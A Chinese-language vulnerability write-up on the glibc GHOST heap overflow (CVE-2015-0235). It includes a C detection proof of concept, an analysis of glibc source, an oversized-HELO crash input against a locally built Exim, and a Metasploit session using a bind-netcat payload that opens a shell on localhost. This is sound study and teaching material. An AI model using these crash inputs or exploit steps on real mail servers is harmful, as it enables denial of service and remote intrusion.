# 7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞

- [漏洞描述](#漏洞描述)
- [漏洞复现](#漏洞复现)
- [漏洞分析](#漏洞分析)
  - [Exim expolit](#exim-exploit)
- [参考资料](#参考资料)


[下载文件](../src/exploit/7.1.2_glibc_2015-0235)

## 漏洞描述
glibc 是 GNU 的 C 运行库，几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST，发生的原因是函数 `__nss_hostname_digits_dots()` 存在缓冲区溢出，可以通过 `gethostbyname*()` 系列函数触发，最容易的攻击入口是邮件服务器，攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.17。


## 漏洞复现
| |推荐使用的环境 | 备注 |
| --- | --- | --- |
| 操作系统 | Ubuntu 12.04 | 体系结构：64 位 |
| 调试器 | gdb-peda | 版本号：7.4 |
| 漏洞软件 | glibc | 版本号：2.15 |
| 受影响软件 | Exim4 | 版本号：4.80 |

通过下面的 PoC 可以知道自己的系统是否受到影响：
```c
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
 
#define CANARY "in_the_coal_mine"
 
struct {
  char buffer[1024];
  char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };
 
int main(void) {
  struct hostent resbuf;
  struct hostent *result;
  int herrno;
  int retval;
 
  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  char name[sizeof(temp.buffer)];
  memset(name, '0', len);
  name[len] = '\0';
 
  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
 
  if (strcmp(temp.canary, CANARY) != 0) {
    puts("vulnerable");
    exit(EXIT_SUCCESS);
  }
  if (retval == ERANGE) {
    puts("not vulnerable");
    exit(EXIT_SUCCESS);
  }
  puts("should not happen");
  exit(EXIT_FAILURE);
}
```
```
$ file /lib/x86_64-linux-gnu/libc-2.15.so 
/lib/x86_64-linux-gnu/libc-2.15.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=0x7c4f51534761d69afd01ac03d3c9bc7ccd21f6c6, for GNU/Linux 2.6.24, stripped
$ gcc -g poc.c
$ ./a.out
vulnerable
```
很明显是存在漏洞的。简单解释一下 PoC，在栈上布置一个区域 temp，由 buffer 和 canary 组成，然后初始化一个 name，最后执行函数 gethostbyname_r()，正常情况下，当把 name+\*host\_addr+\*h\_addr\_ptrs+1 复制到 buffer 时，会正好覆盖缓冲区且没有溢出。然而，实际情况并不是这样。

函数 `gethostbyname_r()` 在 `include/netdb.h` 中定义如下：
```c
struct hostent {
    char  *h_name;            /* official name of host */
    char **h_aliases;         /* alias list */
    int    h_addrtype;        /* host address type */
    int    h_length;          /* length of address */
    char **h_addr_list;       /* list of addresses */
}
#define h_addr h_addr_list[0] /* for backward compatibility */

int gethostbyname_r(const char *name,
        struct hostent *ret, char *buf, size_t buflen,
        struct hostent **result, int *h_errnop);
```
- `name`：网页的 host 名称
- `ret`：成功时用于存储结果
- `buf`：临时缓冲区，存储过程中的各种信息
- `buflen`：缓冲区大小
- `result`：成功时指向 ret
- `h_errnop`：存储错误码

执行前：
```
gdb-peda$ x/6gx temp.buffer
0x601060 <temp>:	0x0000726566667562	0x0000000000000000  <-- buffer  <-- host_addr
0x601070 <temp+16>:	0x0000000000000000	0x0000000000000000              <-- h_addr_ptrs
0x601080 <temp+32>:	0x0000000000000000	0x0000000000000000              <-- hostname
gdb-peda$ x/20gx temp.canary-0x10
0x601450 <temp+1008>:	0x0000000000000000	0x0000000000000000
0x601460 <temp+1024>:	0x635f6568745f6e69	0x656e696d5f6c616f  <-- canary
0x601470 <temp+1040>:	0x0000000000000000	0x0000000000000000
```
执行后：
```
gdb-peda$ x/6gx temp.buffer
0x601060 <temp>:	0x0000000000000000	0x0000000000000000  <-- buffer  <-- host_addr
0x601070 <temp+16>:	0x0000000000601060	0x0000000000000000              <-- h_addr_ptrs
0x601080 <temp+32>:	0x0000000000000000	0x3030303030303030              <-- h_alias_ptr, hostname
gdb-peda$ x/6gx temp.canary-0x10
0x601450 <temp+1008>:	0x3030303030303030	0x3030303030303030
0x601460 <temp+1024>:	0x0030303030303030	0x656e696d5f6c616f  <-- canary
0x601470 <temp+1040>:	0x0000000000000000	0x0000000000000000
```
canary 被覆盖了 8 个字节，即溢出了 8 个字节。


## 漏洞分析
```
grep -irF '__nss_hostname_digits_dots' ./*
./CANCEL-FCT-WAIVE:__nss_hostname_digits_dots
./ChangeLog.12: * nss/Versions (libc): Add __nss_hostname_digits_dots to GLIBC_2.2.2.
[...]
./nss/getXXbyYY.c:      if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
./nss/digits_dots.c:__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
./nss/digits_dots.c:libc_hidden_def (__nss_hostname_digits_dots)
./nss/getXXbyYY_r.c:  switch (__nss_hostname_digits_dots (name, resbuf, &buffer, NULL,
```
通过搜索漏洞函数我们发现，函数是从 glibc-2.2.2 开始引入的，且仅在 getXXbyYY.c 和 getXXbyYY_r.c 中被使用，且需要 `HANDLE_DIGITS_DOTS` 被定义：
```c
// inet/gethstbynm.c
#define NEED_H_ERRNO	1

// nss/getXXbyYY_r.c
#ifdef HANDLE_DIGITS_DOTS
  if (buffer != NULL)
    {
      if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
				      &buffer_size, 0, &result, NULL, AF_VAL,
				      H_ERRNO_VAR_P))
	goto done;
    }
#endif
```

具体程序如下（来自glibc-2.17）：
```c
// nss/digits_dots.c
int
__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
                char **buffer, size_t *buffer_size,
                size_t buflen, struct hostent **result,
                enum nss_status *status, int af, int *h_errnop)
{
    [...]
    if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
    {
        const char *cp;
        char *hostname;
        typedef unsigned char host_addr_t[16];
        host_addr_t *host_addr;
        typedef char *host_addr_list_t[2];
        host_addr_list_t *h_addr_ptrs;
        char **h_alias_ptr;
        size_t size_needed;

        [...]
        // size_needed 决定了缓冲区的大小，即 *host_addr+*h_addr_ptrs+name+1 （1存储结尾的'\0'）
        size_needed = (sizeof (*host_addr)
                + sizeof (*h_addr_ptrs) + strlen (name) + 1);

        if (buffer_size == NULL)    // 重入分支
        {
            if (buflen < size_needed)
            {
            [...]
            goto done;
            }
        }
        else if (buffer_size != NULL && *buffer_size < size_needed) // 非重入分支
        {
            char *new_buf;
            *buffer_size = size_needed;
            new_buf = (char *) realloc (*buffer, *buffer_size); // 重新分配缓冲区，以保证其足够大

            if (new_buf == NULL)
            {
                [...]
                goto done;
            }
            *buffer = new_buf;
        }

        [...]
        // 但这里在计算长度时却是 host_addr+h_addr_ptrs+h_alias_ptr+hostname
        // 与缓冲区相差了一个 h_alias_ptr，64 位下为 8 字节
        host_addr = (host_addr_t *) *buffer;
        h_addr_ptrs = (host_addr_list_t *)
            ((char *) host_addr + sizeof (*host_addr));
        h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
        hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);

        if (isdigit (name[0]))
        {
            for (cp = name;; ++cp)
            {
                if (*cp == '\0')
		        {
		            int ok;

                    if (*--cp == '.')
                        break;

                    [...]
                    if (af == AF_INET)
                        ok = __inet_aton (name, (struct in_addr *) host_addr);
                    else
                    {
                        assert (af == AF_INET6);
                        ok = inet_pton (af, name, host_addr) > 0;
                    }
                    if (! ok)
                    {
                        [...]
                        goto done;
                    }

                    resbuf->h_name = strcpy (hostname, name);   // 复制 name 到 hostname，触发缓冲区溢出

                    [...]
                    goto done;
                }

                if (!isdigit (*cp) && *cp != '.')
                    break;
            }
        }
```
注释已经在代码中了，也就是实际需要的缓冲区长度与所申请的缓冲区长度不一致的问题。当然想要触发漏洞，需要满足下面几个条件：
- name 的第一个字符必须是数字
- name 的最后一个字符不能是 "."
- name 的所有字符只能是数字或者 "."
- 必须是 IPv4 地址且必须是这些格式中的一种："a.b.c.d"，"a.b.c"，"a"，且 a,b,c,d 均不能超过无符号整数的最大值，即 0xffffffff

对比一下 glibc-2.18 的代码，也就是把 h_alias\_ptr 的长度加上了，问题完美解决：
```c
        size_needed = (sizeof (*host_addr)
                + sizeof (*h_addr_ptrs)
                + sizeof (*h_alias_ptr) + strlen (name) + 1);
```

#### Exim exploit
```
$ sudo apt-get install libpcre3-dev
$ git clone https://github.com/Exim/exim.git
$ cd exim/src
$ git checkout exim-4_80
$ mkdir Local
$ cp src/EDITME Local/Makefile
$ #修改 Makefile 中的 EXIM_USER=你的用户名
$ #注释掉 EXIM_MONITOR=eximon.bin
$ #然后取消掉 PCRE_LIBS=-lpcre 的注释
$ make && sudo make install
```
最后为了能够调用 `smtp_verify_helo()`，在 Exim 的配置文件中必须开启 `helo_verify_hosts` 或 `helo_try_verify_hosts`。在文件 `/var/lib/exim4/config.autogenerated` 中的 `acl_smtp_mail` 一行下面加上 `helo_try_verify_hosts = *` 或者 `helo_verify_hosts = *`：
```
acl_smtp_mail = MAIN_ACL_CHECK_MAIL

helo_try_verify_hosts = *
```
更新并重启软件即可：
```
$ update-exim4.conf
$ exim4 -bP | grep helo_try
helo_try_verify_hosts = *
$ sudo /etc/init.d/exim4 stop
$ sudo /usr/exim/bin/exim -bdf -d+all
```
这样就把程序以 debug 模式开启了，之后的所有操作都会被打印出来，方便观察。还是为了方便（懒），后续的所有操作都只在本地执行。

先简单地看一下 Exim 处理 HELO 命令的过程，在另一个 shell 里，使用 telenet 连接上 Exim，根据前面的限制条件随便输入点什么：
```
$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 16:58:37 +0800
HELO 0123456789
250 firmy-VirtualBox Hello localhost [127.0.0.1]
^CConnection closed by foreign host.
firmy@firmy-VirtualBox:~$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 17:00:47 +0800
HELO 0123456789
250 firmy-VirtualBox Hello localhost [127.0.0.1]
```
结果如下：
```
17:00:47  5577 Process 5577 is ready for new message
17:00:47  5577 smtp_setup_msg entered
17:00:55  5577 SMTP<< HELO 0123456789
17:00:55  5577 sender_fullhost = localhost (0123456789) [127.0.0.1]
17:00:55  5577 sender_rcvhost = localhost ([127.0.0.1] helo=0123456789)
17:00:55  5577 set_process_info:  5577 handling incoming connection from localhost (0123456789) [127.0.0.1]
17:00:55  5577 verifying EHLO/HELO argument "0123456789"
17:00:55  5577 getting IP address for 0123456789
17:00:55  5577 gethostbyname2(af=inet6) returned 1 (HOST_NOT_FOUND)
17:00:55  5577 gethostbyname2(af=inet) returned 1 (HOST_NOT_FOUND)
17:00:55  5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
17:00:55  5577 LOG: host_lookup_failed MAIN
17:00:55  5577   no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
17:00:55  5577 HELO verification failed but host is in helo_try_verify_hosts
17:00:55  5577 SMTP>> 250 firmy-VirtualBox Hello localhost [127.0.0.1]
```

可以看到它最终调用了 `gethostbyname2()` 函数来解析来自 SMTP 客户端的数据包。具体代码如下：[github](https://github.com/Exim/exim/tree/exim-4_80)
```c
// src/src/smtp_in.c
int
smtp_setup_msg(void)
{
[...]
while (done <= 0)
  {
  [...]
  switch(smtp_read_command(TRUE))
    {
    [...]
    case HELO_CMD:
    HAD(SCH_HELO);
    hello = US"HELO";
    esmtp = FALSE;
    goto HELO_EHLO;

    case EHLO_CMD:
    HAD(SCH_EHLO);
    hello = US"EHLO";
    esmtp = TRUE;

    // 当 SMTP 命令为 HELO 或 EHLO 时，执行下面的过程
    HELO_EHLO:      /* Common code for HELO and EHLO */
    cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
    cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;

    /* Reject the HELO if its argument was invalid or non-existent. A
    successful check causes the argument to be saved in malloc store. */

    if (!check_helo(smtp_cmd_data)) // 检查 HELO 的格式必须是 IP 地址
      {
      [...]
      break;
      }
      [...]
      helo_verified = helo_verify_failed = FALSE;
      if (helo_required || helo_verify)
        {
        BOOL tempfail = !smtp_verify_helo();    // 验证 HELO 是否有效
        if (!helo_verified)
          {
          if (helo_required)
            {
            [...]
            }
          HDEBUG(D_all) debug_printf("%s verification failed but host is in "
            "helo_try_verify_hosts\n", hello);
          }
        }
```
继续看函数 `smtp_verify_helo()`：
```c
// src/src/smtp_in.c
BOOL
smtp_verify_helo(void)
{
  [...]
  if (!helo_verified)
    {
    int rc;
    host_item h;
    h.name = sender_helo_name;
    h.address = NULL;
    h.mx = MX_NONE;
    h.next = NULL;
    HDEBUG(D_receive) debug_printf("getting IP address for %s\n",
      sender_helo_name);
    rc = host_find_byname(&h, NULL, 0, NULL, TRUE);
    if (rc == HOST_FOUND || rc == HOST_FOUND_LOCAL)
    [....]
    }
  }
```
```c
// src/src/host.c
int
host_find_byname(host_item *host, uschar *ignore_target_hosts, int flags,
  uschar **fully_qualified_name, BOOL local_host_check)
{
[...]
for (i = 1; i <= times;
     #if HAVE_IPV6
       af = AF_INET,     /* If 2 passes, IPv4 on the second */
     #endif
     i++)
  {
  [...]
  #if HAVE_IPV6
  if (running_in_test_harness)
    hostdata = host_fake_gethostbyname(host->name, af, &error_num);
  else
    {
    #if HAVE_GETIPNODEBYNAME
    hostdata = getipnodebyname(CS host->name, af, 0, &error_num);
    #else
    hostdata = gethostbyname2(CS host->name, af);
    error_num = h_errno;
    #endif
    }

  #else    /* not HAVE_IPV6 */
  if (running_in_test_harness)
    hostdata = host_fake_gethostbyname(host->name, AF_INET, &error_num);
  else
    {
    hostdata = gethostbyname(CS host->name);
    error_num = h_errno;
    }
  #endif   /* HAVE_IPV6 */
```
函数 `host_find_byname` 调用了 `gethostbyname()` 和 `gethostbyname2()` 分别针对 IPv4 和 IPv6 进行处理，也就是在这里可以触发漏洞函数。

这一次我们输入这样的一串字符，即可导致溢出：
```
$ python -c "print 'HELO ' + '0'*$((0x500-16*1-2*8-1-8))"
```
但是程序可能还是正常在运行的，我们多输入执行几次就会触发漏洞，发生段错误，连接被断开。
```
Connection closed by foreign host.
```
```
$ dmesg | grep exim
[28929.172015] traps: exim4[3288] general protection ip:7fea41465c1d sp:7fff471f0dd0 error:0 in libc-2.15.so[7fea413f6000+1b5000]
[28929.493632] traps: exim4[3301] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
[28929.562113] traps: exim4[3304] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
[28929.631573] exim4[3307]: segfault at 100000008 ip 00007fea42e2d226 sp 00007fff471e8b50 error 4 in exim4[7fea42db6000+dc000]
```

其实对于 Exim 的攻击已经集成到了 Metasploit 框架中，我们来尝试一下，正好学习一下这个强大的框架，仿佛自己也可以搞渗透测试。先关掉debug模式的程序，重新以正常的样子打开：
```
$ /etc/init.d/exim4 restart
```
```
msf > search exim

Matching Modules
================

   Name                                          Disclosure Date  Rank       Description
   ----                                          ---------------  ----       -----------
   exploit/linux/smtp/exim4_dovecot_exec         2013-05-03       excellent  Exim and Dovecot Insecure Configuration Command Injection
   exploit/linux/smtp/exim_gethostbyname_bof     2015-01-27       great      Exim GHOST (glibc gethostbyname) Buffer Overflow
   exploit/unix/local/exim_perl_startup          2016-03-10       excellent  Exim "perl_startup" Privilege Escalation
   exploit/unix/smtp/exim4_string_format         2010-12-07       excellent  Exim4 string_format Function Heap Buffer Overflow
   exploit/unix/webapp/wp_phpmailer_host_header  2017-05-03       average    WordPress PHPMailer Host Header Command Injection


msf > use exploit/linux/smtp/exim_gethostbyname_bof 
msf exploit(linux/smtp/exim_gethostbyname_bof) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 127.0.0.1
SENDER_HOST_ADDRESS => 127.0.0.1
msf exploit(linux/smtp/exim_gethostbyname_bof) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
msf exploit(linux/smtp/exim_gethostbyname_bof) > show options 

Module options (exploit/linux/smtp/exim_gethostbyname_bof):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   RHOST                127.0.0.1        yes       The target address
   RPORT                25               yes       The target port (TCP)
   SENDER_HOST_ADDRESS  127.0.0.1        yes       The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)


Payload options (cmd/unix/bind_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  127.0.0.1        no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit 

[*] Started bind handler
[*] 127.0.0.1:25 - Checking if target is vulnerable...
[+] 127.0.0.1:25 - Target is vulnerable.
[*] 127.0.0.1:25 - Trying information leak...
[+] 127.0.0.1:25 - Successfully leaked_arch: x64
[+] 127.0.0.1:25 - Successfully leaked_addr: 7fea43824720
[*] 127.0.0.1:25 - Trying code execution...
[+] 127.0.0.1:25 - Brute-forced min_heap_addr: 7fea438116cb
[+] 127.0.0.1:25 - Brute-force SUCCESS
[+] 127.0.0.1:25 - Please wait for reply...
[*] Command shell session 1 opened (127.0.0.1:34327 -> 127.0.0.1:4444) at 2018-01-26 17:29:07 +0800

whoami
Debian-exim
id
uid=115(Debian-exim) gid=125(Debian-exim) groups=125(Debian-exim)
```
Bingo!!!成功获得了一个反弹 shell。

对于该脚本到底是怎么做到的，本人水平有限，还有待分析。。。


## 参考资料
- [CVE-2015-0235 Detail](https://nvd.nist.gov/vuln/detail/CVE-2015-0235)
- [Qualys Security Advisory CVE-2015-0235](http://www.openwall.com/lists/oss-security/2015/01/27/9)
- [Exim - 'GHOST' glibc gethostbyname Buffer Overflow (Metasploit)](https://www.exploit-db.com/exploits/36421/)
- [Exim ESMTP 4.80 - glibc gethostbyname Denial of Service](https://www.exploit-db.com/exploits/35951/)